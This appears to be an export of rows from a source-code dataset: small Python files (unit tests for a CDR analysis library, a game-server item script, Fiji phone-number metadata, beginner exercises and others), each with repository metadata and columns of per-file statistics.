self.assertObjectUpdated(self.test_dataset, 'name', 'telescope', 'instrument', 'user_group', 'metadata_content_type', msg=msg)
| 45.430769
| 202
| 0.763292
| 872
| 5,906
| 4.981651
| 0.099771
| 0.069061
| 0.051796
| 0.069061
| 0.800645
| 0.775783
| 0.722145
| 0.677947
| 0.677947
| 0.637661
| 0
| 0
| 0.132577
| 5,906
| 129
| 203
| 45.782946
| 0.847941
| 0.059262
| 0
| 0.5
| 0
| 0.031915
| 0.272991
| 0.019008
| 0
| 0
| 0
| 0
| 0.202128
| 1
| 0.053191
| false
| 0
| 0.042553
| 0
| 0.106383
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
7cf6eb633ed4292c87bf7d8ab255ea0090e95b47
| 141
|
py
|
Python
|
scripts/item/consume_2434775.py
|
pantskun/swordiemen
|
fc33ffec168e6611587fdc75de8270f6827a4176
|
[
"MIT"
] | null | null | null |
scripts/item/consume_2434775.py
|
pantskun/swordiemen
|
fc33ffec168e6611587fdc75de8270f6827a4176
|
[
"MIT"
] | null | null | null |
scripts/item/consume_2434775.py
|
pantskun/swordiemen
|
fc33ffec168e6611587fdc75de8270f6827a4176
|
[
"MIT"
] | null | null | null |
# Ambition Expertise Boost Potion (2434775)
from net.swordie.ms.enums import Stat
sm.consumeItem()
chr.addTraitExp(Stat.charismaEXP, 93596)
| 23.5
| 43
| 0.801418
| 19
| 141
| 5.947368
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.094488
| 0.099291
| 141
| 6
| 44
| 23.5
| 0.795276
| 0.29078
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
6b00b4fbad7f598ae6d5869de6496c832bbd0c4a
| 305
|
py
|
Python
|
app/Analyze.py
|
kredabtc/kreda
|
4116d40eb8b70f1613f3a8b73d41bb5959d4892b
|
[
"MIT"
] | null | null | null |
app/Analyze.py
|
kredabtc/kreda
|
4116d40eb8b70f1613f3a8b73d41bb5959d4892b
|
[
"MIT"
] | null | null | null |
app/Analyze.py
|
kredabtc/kreda
|
4116d40eb8b70f1613f3a8b73d41bb5959d4892b
|
[
"MIT"
] | null | null | null |
# -*- coding: UTF-8 -*-
# @yasinkuyu
# TODO
class analyze():
def position():
return 1
@staticmethod
def direction(ticker):
# Todo: Analyze, best price position
hight = float(ticker['hight'])
low = float(ticker['low'])
return False
| 16.944444
| 44
| 0.52459
| 30
| 305
| 5.333333
| 0.666667
| 0.1375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.01005
| 0.347541
| 305
| 17
| 45
| 17.941176
| 0.79397
| 0.239344
| 0
| 0
| 0
| 0
| 0.035242
| 0
| 0
| 0
| 0
| 0.058824
| 0
| 1
| 0.25
| false
| 0
| 0
| 0.125
| 0.625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
6b08629aab9820ce0fdc6cc9190c411e49e21018
| 8,658
|
py
|
Python
|
tests/unit_tests/test_io.py
|
anjuchamantha/cellyzer---CDR-data-analyzer
|
185f2a14e5901d839d027aeea5860efe6c24a68f
|
[
"MIT"
] | 11
|
2020-04-03T10:53:59.000Z
|
2022-01-02T18:31:32.000Z
|
tests/unit_tests/test_io.py
|
anjuchamantha/cellyzer---CDR-data-analyzer
|
185f2a14e5901d839d027aeea5860efe6c24a68f
|
[
"MIT"
] | null | null | null |
tests/unit_tests/test_io.py
|
anjuchamantha/cellyzer---CDR-data-analyzer
|
185f2a14e5901d839d027aeea5860efe6c24a68f
|
[
"MIT"
] | 2
|
2020-07-01T06:21:48.000Z
|
2020-10-23T17:34:40.000Z
|
import unittest
import cellyzer.io as io
class TestIO(unittest.TestCase):
@classmethod
def setUpClass(cls):
# before all the tests
cls.call_csv_test_path = "../../demo/demo_datasets/test_data/calls.csv"
cls.msg_csv_test_path = "../../demo/demo_datasets/test_data/messages.csv"
cls.cell_csv_test_path = "../../demo/demo_datasets/test_data/antennas.csv"
cls.call_csv_long_path = "../../demo/demo_datasets/long_data/calls_.csv"
cls.msg_csv_long_path = "../../demo/demo_datasets/long_data/messages_.csv"
cls.cell_csv_long_path = "../../demo/demo_datasets/long_data/antennas.csv"
cls.call_xlsx_path = "../../demo/demo_datasets/test_data/excel data/calls.xlsx"
cls.msg_xlsx_path = "../../demo/demo_datasets/test_data/excel data/messages.xlsx"
cls.cell_xlsx_path = "../../demo/demo_datasets/test_data/excel data/cell.xlsx"
cls.call_json_path = "../../demo/demo_datasets/test_data/json data/call.json"
cls.msg_json_path = "../../demo/demo_datasets/test_data/json data/message.json"
cls.cell_json_path = "../../demo/demo_datasets/test_data/json data/cell.json"
# cls.call_csv_test_obj = io.read_call(cls.call_csv_test_path)
def test_to_json(self):
with self.assertRaises(TypeError):
io.to_json("obj", "calls")
io.to_json(None, "calls")
io.to_json(io.read_call(self.call_csv_test_path), 123)
io.to_json(io.read_call(self.call_csv_test_path), None)
def test_to_csv(self):
with self.assertRaises(TypeError):
io.to_csv("obj", "calls")
io.to_csv(None, "calls")
io.to_csv(io.read_call(self.call_csv_test_path), 123)
io.to_csv(io.read_call(self.call_csv_test_path), None)
def test_read_csv(self):
self.assertEqual(type(io.read_csv(self.call_csv_test_path)).__name__, "DataSet")
self.assertEqual(type(io.read_csv(self.call_csv_long_path)).__name__, "DataSet")
self.assertEqual(type(io.read_csv(self.msg_csv_test_path)).__name__, "DataSet")
with self.assertRaises(TypeError):
io.read_csv(123)
io.read_csv(None)
def test_read_call(self):
self.assertEqual(type(io.read_call(self.call_csv_test_path)).__name__, "CallDataSet")
self.assertEqual(type(io.read_call(self.call_csv_long_path)).__name__, "CallDataSet")
self.assertEqual(type(io.read_call(self.call_json_path, file_type="json")).__name__, "CallDataSet")
self.assertEqual(type(io.read_call(self.call_xlsx_path, file_type="xls")).__name__, "CallDataSet")
with self.assertRaises(TypeError):
io.read_call(file_path=123)
io.read_call(None)
io.read_call(self.call_csv_test_path, file_type=123)
io.read_call(self.call_csv_test_path, file_type=None)
io.read_call(self.call_csv_test_path, hash=123)
io.read_call(self.call_csv_test_path, hash=None)
io.read_call(self.call_csv_test_path, splitted_line={})
def test_read_msg(self):
self.assertEqual(type(io.read_msg(self.msg_csv_test_path)).__name__, "MessageDataSet")
self.assertEqual(type(io.read_msg(self.msg_json_path, file_type="json")).__name__, "MessageDataSet")
self.assertEqual(type(io.read_msg(self.msg_xlsx_path, file_type="xls")).__name__, "MessageDataSet")
with self.assertRaises(TypeError):
io.read_msg(file_path=123)
io.read_msg(None)
io.read_msg(self.msg_csv_test_path, file_type=123)
io.read_msg(self.msg_csv_test_path, file_type=None)
io.read_msg(self.msg_csv_test_path, hash=123)
io.read_msg(self.msg_csv_test_path, hash=None)
io.read_msg(self.msg_csv_test_path, splitted_line={})
def test_read_cell(self):
self.assertEqual(type(io.read_cell(self.cell_csv_test_path)).__name__, "CellDataSet")
self.assertEqual(type(io.read_cell(self.cell_csv_test_path, call_csv_path=self.call_csv_test_path)).__name__,
"CellDataSet")
self.assertEqual(type(
io.read_cell(self.cell_csv_test_path, call_dataset_obj=io.read_call(self.call_csv_test_path))).__name__,
"CellDataSet")
self.assertEqual(type(io.read_cell(self.cell_json_path, file_type="json")).__name__, "CellDataSet")
self.assertEqual(type(io.read_cell(self.cell_xlsx_path, file_type="xlsx")).__name__, "CellDataSet")
with self.assertRaises(TypeError):
io.read_cell(file_path=123)
io.read_cell(None)
io.read_cell(self.cell_csv_test_path, call_csv_path=123)
io.read_cell(self.cell_csv_test_path, call_dataset_obj=io.read_msg(self.msg_csv_test_path))
io.read_cell(self.cell_csv_test_path, call_dataset_obj="call_data_object")
io.read_cell(self.cell_csv_test_path, file_type=123)
io.read_cell(self.cell_csv_test_path, file_type=None)
io.read_cell(self.cell_csv_test_path, splitted_line={})
def test_read_xls(self):
self.assertEqual(type(io.read_xls(filepath=self.call_xlsx_path)).__name__, "CallDataSet")
self.assertEqual(type(io.read_xls(filepath=self.msg_xlsx_path)).__name__, "MessageDataSet")
self.assertEqual(type(io.read_xls(filepath=self.cell_xlsx_path)).__name__, "CellDataSet")
self.assertEqual(type(
io.read_xls(filepath=self.call_xlsx_path, call_data_set=io.read_call(self.call_csv_test_path))).__name__,
"CallDataSet")
with self.assertRaises(TypeError):
io.read_xls(filepath=123)
io.read_xls(filepath=None)
io.read_xls(filepath=self.call_xlsx_path, call_data_set="data obj")
io.read_xls(filepath=self.call_xlsx_path, hash="True")
io.read_xls(filepath=self.call_xlsx_path, hash=None)
def test_read_json(self):
self.assertEqual(type(io.read_json(filepath=self.call_json_path)).__name__, "CallDataSet")
self.assertEqual(type(io.read_json(filepath=self.msg_json_path)).__name__, "MessageDataSet")
self.assertEqual(type(io.read_json(filepath=self.cell_json_path)).__name__, "CellDataSet")
self.assertEqual(type(
io.read_json(filepath=self.call_json_path, call_data_set=io.read_call(self.call_csv_test_path))).__name__,
"CallDataSet")
with self.assertRaises(TypeError):
io.read_json(filepath=123)
io.read_json(filepath=None)
io.read_json(filepath=self.call_json_path, hash=None)
io.read_json(filepath=self.call_json_path, hash="True")
io.read_json(filepath=self.call_json_path, hash=123)
def test_hash_number(self):
self.assertEqual(io.hash_number("0714567893"), "e5f2aad893")
self.assertEqual(io.hash_number(1234567890), "bb3fc34890")
self.assertEqual(io.hash_number(12345.67890), "26defe4789")
with self.assertRaises(TypeError):
io.hash_number(123)
io.hash_number(None)
io.hash_number([])
def test_create_call_obj(self):
with self.assertRaises(TypeError):
io.create_call_obj(calls=None, fieldnames=[], hash=True)
io.create_call_obj(calls={}, fieldnames=[], hash=True)
io.create_call_obj(calls=[], fieldnames={}, hash=True)
io.create_call_obj(calls=[], fieldnames=None, hash=True)
io.create_call_obj(calls=[], fieldnames=[], hash="True")
io.create_call_obj(calls=[], fieldnames=[], hash=None)
def test_create_msg_obj(self):
with self.assertRaises(TypeError):
io.create_msg_obj(messages=None, fieldnames=[], hash=True)
io.create_msg_obj(messages={}, fieldnames=[], hash=True)
io.create_msg_obj(messages=[], fieldnames={}, hash=True)
io.create_msg_obj(messages=[], fieldnames=None, hash=True)
io.create_msg_obj(messages=[], fieldnames=[], hash="True")
io.create_msg_obj(messages=[], fieldnames=[], hash=None)
def test_create_cell_obj(self):
with self.assertRaises(TypeError):
io.create_cell_obj(cells=None, fieldnames=[], call_data_set=io.read_call(self.call_csv_test_path))
io.create_cell_obj(cells="[]", fieldnames=[], call_data_set=io.read_call(self.call_csv_test_path))
io.create_cell_obj(cells=[], fieldnames=[], call_data_set=None)
io.create_cell_obj(cells=[], fieldnames=[], call_data_set="None")
if __name__ == '__main__':
unittest.main()
| 51.535714
| 118
| 0.67556
| 1,208
| 8,658
| 4.432119
| 0.058775
| 0.076205
| 0.078072
| 0.090213
| 0.8644
| 0.811916
| 0.741875
| 0.728054
| 0.578259
| 0.449384
| 0
| 0.013606
| 0.193578
| 8,658
| 167
| 119
| 51.844311
| 0.753223
| 0.009356
| 0
| 0.138686
| 0
| 0
| 0.117915
| 0.060065
| 0
| 0
| 0
| 0
| 0.277372
| 1
| 0.094891
| false
| 0
| 0.014599
| 0
| 0.116788
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6b0f4ca07e3d5158e1d752633bc63cc59099a4b6
| 175
|
py
|
Python
|
ruby/communication/messages/incoming/IMComputerInfo.py
|
0190342791072401740917904E9012740997199/TransformiceServer
|
39747a92581606014d7d26603bad00e7632d0617
|
[
"Unlicense"
] | 1
|
2020-08-18T05:55:01.000Z
|
2020-08-18T05:55:01.000Z
|
ruby/communication/messages/incoming/IMComputerInfo.py
|
0190342791072401740917904E9012740997199/TransformiceServer
|
39747a92581606014d7d26603bad00e7632d0617
|
[
"Unlicense"
] | 1
|
2022-03-12T15:30:31.000Z
|
2022-03-12T15:30:31.000Z
|
ruby/communication/messages/incoming/IMComputerInfo.py
|
0190342791072401740917904E9012740997199/TransformiceServer
|
39747a92581606014d7d26603bad00e7632d0617
|
[
"Unlicense"
] | 5
|
2018-10-26T06:50:16.000Z
|
2021-11-06T11:41:36.000Z
|
from ruby.communication.messages.Incoming import Incoming
class IMComputerInfo(Incoming):
tokens = [28, 17]
def dispatch(self, session, buffer_array):
pass
| 19.444444
| 57
| 0.72
| 20
| 175
| 6.25
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.028369
| 0.194286
| 175
| 8
| 58
| 21.875
| 0.858156
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0.2
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
6b40ffb0249a5c4354d36fc37a9264e2fb30caea
| 207
|
py
|
Python
|
Numbers/1 - Find PI to the Nth Digit.py
|
JaydenRA/Karans-Mega-Project-List
|
23e3eead4621a6e528dd11cfe101096576ebd3ba
|
[
"MIT"
] | null | null | null |
Numbers/1 - Find PI to the Nth Digit.py
|
JaydenRA/Karans-Mega-Project-List
|
23e3eead4621a6e528dd11cfe101096576ebd3ba
|
[
"MIT"
] | null | null | null |
Numbers/1 - Find PI to the Nth Digit.py
|
JaydenRA/Karans-Mega-Project-List
|
23e3eead4621a6e528dd11cfe101096576ebd3ba
|
[
"MIT"
] | null | null | null |
#Enter a number and have the program generate PI up to that many decimal places. Keep a limit to how far the program will go.
from mpmath import mp
mp.dps = int(input("Decimal Points: ")) + 1
print(mp.pi)
| 34.5
| 125
| 0.7343
| 39
| 207
| 3.897436
| 0.794872
| 0.131579
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005952
| 0.188406
| 207
| 6
| 126
| 34.5
| 0.89881
| 0.599034
| 0
| 0
| 1
| 0
| 0.192771
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
6b43288328c0a19f76f8654c6a9ad48f4ba26e95
| 132
|
py
|
Python
|
neuro-sdk/src/neuro_sdk/_rewrite.py
|
neuro-inc/neuro-cli
|
72bd2a825cc319bbc79c6df16f33380796fad4f5
|
[
"Apache-2.0"
] | 5
|
2019-09-24T15:37:47.000Z
|
2020-08-04T09:25:29.000Z
|
neuro-sdk/src/neuro_sdk/_rewrite.py
|
neuromation/platform-client-python
|
72bd2a825cc319bbc79c6df16f33380796fad4f5
|
[
"Apache-2.0"
] | 748
|
2019-08-05T14:57:11.000Z
|
2020-09-28T09:54:41.000Z
|
neuro-sdk/src/neuro_sdk/_rewrite.py
|
neuro-inc/neuro-cli
|
72bd2a825cc319bbc79c6df16f33380796fad4f5
|
[
"Apache-2.0"
] | 3
|
2019-10-07T19:25:22.000Z
|
2020-06-29T01:41:26.000Z
|
from typing import TypeVar
_T = TypeVar("_T")
def rewrite_module(obj: _T) -> _T:
obj.__module__ = "neuro_sdk"
return obj
| 14.666667
| 34
| 0.674242
| 19
| 132
| 4.157895
| 0.631579
| 0.202532
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.212121
| 132
| 8
| 35
| 16.5
| 0.759615
| 0
| 0
| 0
| 0
| 0
| 0.083333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
86125bd26e7ae2d591ad5a46ba9965419357c2f0
| 2,240
|
py
|
Python
|
tests/test_stmt.py
|
Cologler/bytecode2ast-python
|
407b261a493e018bc86388040ddfb6fb0e4b96d9
|
[
"MIT"
] | null | null | null |
tests/test_stmt.py
|
Cologler/bytecode2ast-python
|
407b261a493e018bc86388040ddfb6fb0e4b96d9
|
[
"MIT"
] | null | null | null |
tests/test_stmt.py
|
Cologler/bytecode2ast-python
|
407b261a493e018bc86388040ddfb6fb0e4b96d9
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
#
# Copyright (c) 2019~2999 - Cologler <skyoflw@gmail.com>
# ----------
#
# ----------
import dis
from bytecode2ast import parse_func, create_module
def get_func_from_exec(code, name):
g = {}
exec(code, g, g)
return g[name]
def get_instrs(func):
return list(dis.Bytecode(func))
def get_instrs_from_b2a(func):
name = func.__name__
b2a_ast = parse_func(func)
module = create_module([b2a_ast])
new_func = get_func_from_exec(compile(module, '<string>', 'exec'), name)
return get_instrs(new_func)
def test_import():
def func():
import a
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_multi():
def func():
import a, b, c
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_as():
def func():
import a as b
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_as_multi():
def func():
import a as b, c, d as k
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_from():
def func():
from a import b
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_from_mutil():
def func():
from a import b, c
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_from_as():
def func():
from a import b as c
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_import_from_as_multi():
def func():
from a import b as c, e as f
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_rel_import_from():
def func():
from ...a import b as c
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_build_const_map():
def func():
x = {'a': 1, 'b': 2}
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_build_const_tuple():
def func():
x = ('a', 'b', 'c')
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_build_const_list():
def func():
x = ['a', 'b', 'c']
assert get_instrs(func) == get_instrs_from_b2a(func)
def test_build_const_set():
def func():
x = {'a', 'b', 'c'}
assert get_instrs(func) == get_instrs_from_b2a(func)
| 21.538462
| 76
| 0.639286
| 348
| 2,240
| 3.798851
| 0.155172
| 0.197428
| 0.13767
| 0.16944
| 0.699697
| 0.667171
| 0.628593
| 0.628593
| 0.590772
| 0.590772
| 0
| 0.016157
| 0.226339
| 2,240
| 103
| 77
| 21.747573
| 0.746682
| 0.04375
| 0
| 0.393939
| 0
| 0
| 0.010773
| 0
| 0
| 0
| 0
| 0
| 0.19697
| 1
| 0.439394
| false
| 0
| 0.30303
| 0.015152
| 0.787879
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
8620878ee8ab458846cb6a0fe94a83455f5110f4
| 265
|
py
|
Python
|
1. Introduction to Deep Learning/week2/v2/grading_utils.py
|
Abdelrahman350/Advanced-Machine-Learning
|
5ba9cb6c0037479f899c7aa6d6f83dfc7c3b1c37
|
[
"MIT"
] | null | null | null |
1. Introduction to Deep Learning/week2/v2/grading_utils.py
|
Abdelrahman350/Advanced-Machine-Learning
|
5ba9cb6c0037479f899c7aa6d6f83dfc7c3b1c37
|
[
"MIT"
] | null | null | null |
1. Introduction to Deep Learning/week2/v2/grading_utils.py
|
Abdelrahman350/Advanced-Machine-Learning
|
5ba9cb6c0037479f899c7aa6d6f83dfc7c3b1c37
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
def get_tensor_shape(t):
return [d for d in t.shape]
def get_tensors_shapes_string(tensors):
res = []
for t in tensors:
res.extend([str(v) for v in get_tensor_shape(t)])
return " ".join(res)
| 18.928571
| 57
| 0.618868
| 44
| 265
| 3.568182
| 0.545455
| 0.076433
| 0.178344
| 0.191083
| 0.267516
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004878
| 0.226415
| 265
| 13
| 58
| 20.384615
| 0.760976
| 0.158491
| 0
| 0
| 0
| 0
| 0.004525
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0
| 0
| 0.142857
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
8641de3255d74824e0b7ae577c5cffefbdeee100
| 2,134
|
py
|
Python
|
phonenumbers/data/region_FJ.py
|
ayushgoel/FixGoogleContacts
|
e49e58db6718bef8f95b6f767241605441c7fe41
|
[
"MIT"
] | 2
|
2019-02-22T05:27:22.000Z
|
2020-12-30T19:33:18.000Z
|
phonenumbers/data/region_FJ.py
|
ayushgoel/FixGoogleContacts
|
e49e58db6718bef8f95b6f767241605441c7fe41
|
[
"MIT"
] | null | null | null |
phonenumbers/data/region_FJ.py
|
ayushgoel/FixGoogleContacts
|
e49e58db6718bef8f95b6f767241605441c7fe41
|
[
"MIT"
] | null | null | null |
"""Auto-generated file, do not edit by hand. FJ metadata"""
from ..phonemetadata import NumberFormat, PhoneNumberDesc, PhoneMetadata
PHONE_METADATA_FJ = PhoneMetadata(id='FJ', country_code=679, international_prefix='0(?:0|52)',
general_desc=PhoneNumberDesc(national_number_pattern='[36-9]\\d{6}|0\\d{10}', possible_number_pattern='\\d{7}(?:\\d{4})?'),
fixed_line=PhoneNumberDesc(national_number_pattern='(?:3[0-5]|6[25-7]|8[58])\\d{5}', possible_number_pattern='\\d{7}', example_number='3212345'),
mobile=PhoneNumberDesc(national_number_pattern='(?:7[0-467]|8[3467]|9\\d)\\d{5}', possible_number_pattern='\\d{7}', example_number='7012345'),
toll_free=PhoneNumberDesc(national_number_pattern='0800\\d{7}', possible_number_pattern='\\d{11}', example_number='08001234567'),
premium_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
shared_cost=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
personal_number=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
voip=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
pager=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
uan=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
emergency=PhoneNumberDesc(national_number_pattern='91[17]', possible_number_pattern='\\d{3}', example_number='911'),
voicemail=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
short_code=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
standard_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
no_international_dialling=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'),
preferred_international_prefix='00',
number_format=[NumberFormat(pattern='(\\d{3})(\\d{4})', format='\\1 \\2', leading_digits_pattern=['[36-9]']),
NumberFormat(pattern='(\\d{4})(\\d{3})(\\d{4})', format='\\1 \\2 \\3', leading_digits_pattern=['0'])],
leading_zero_possible=True)
| 88.916667
| 149
| 0.75492
| 275
| 2,134
| 5.541818
| 0.298182
| 0.255906
| 0.19685
| 0.354331
| 0.48622
| 0.471129
| 0.471129
| 0.455381
| 0.455381
| 0.085302
| 0
| 0.048793
| 0.068416
| 2,134
| 23
| 150
| 92.782609
| 0.717807
| 0.024836
| 0
| 0
| 1
| 0.047619
| 0.137831
| 0.051084
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.047619
| 0
| 0.047619
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8673136d94f4ee256d568834b147e1a5aabf9d90
| 167
|
py
|
Python
|
Exe2.py
|
flavioUENP/aula1
|
8deba1de0ac54109c54d7e44d2852a8ca639e625
|
[
"Apache-2.0"
] | null | null | null |
Exe2.py
|
flavioUENP/aula1
|
8deba1de0ac54109c54d7e44d2852a8ca639e625
|
[
"Apache-2.0"
] | null | null | null |
Exe2.py
|
flavioUENP/aula1
|
8deba1de0ac54109c54d7e44d2852a8ca639e625
|
[
"Apache-2.0"
] | null | null | null |
numero=int(input("Digite um número: "))
antecessor=(numero-1)
sucessor=(numero+1)
print('O número antecessor é: ', antecessor)
print('O número sucessor é: ', sucessor)
| 33.4
| 44
| 0.730539
| 24
| 167
| 5.083333
| 0.5
| 0.262295
| 0.196721
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013333
| 0.101796
| 167
| 5
| 45
| 33.4
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0.369048
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.4
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.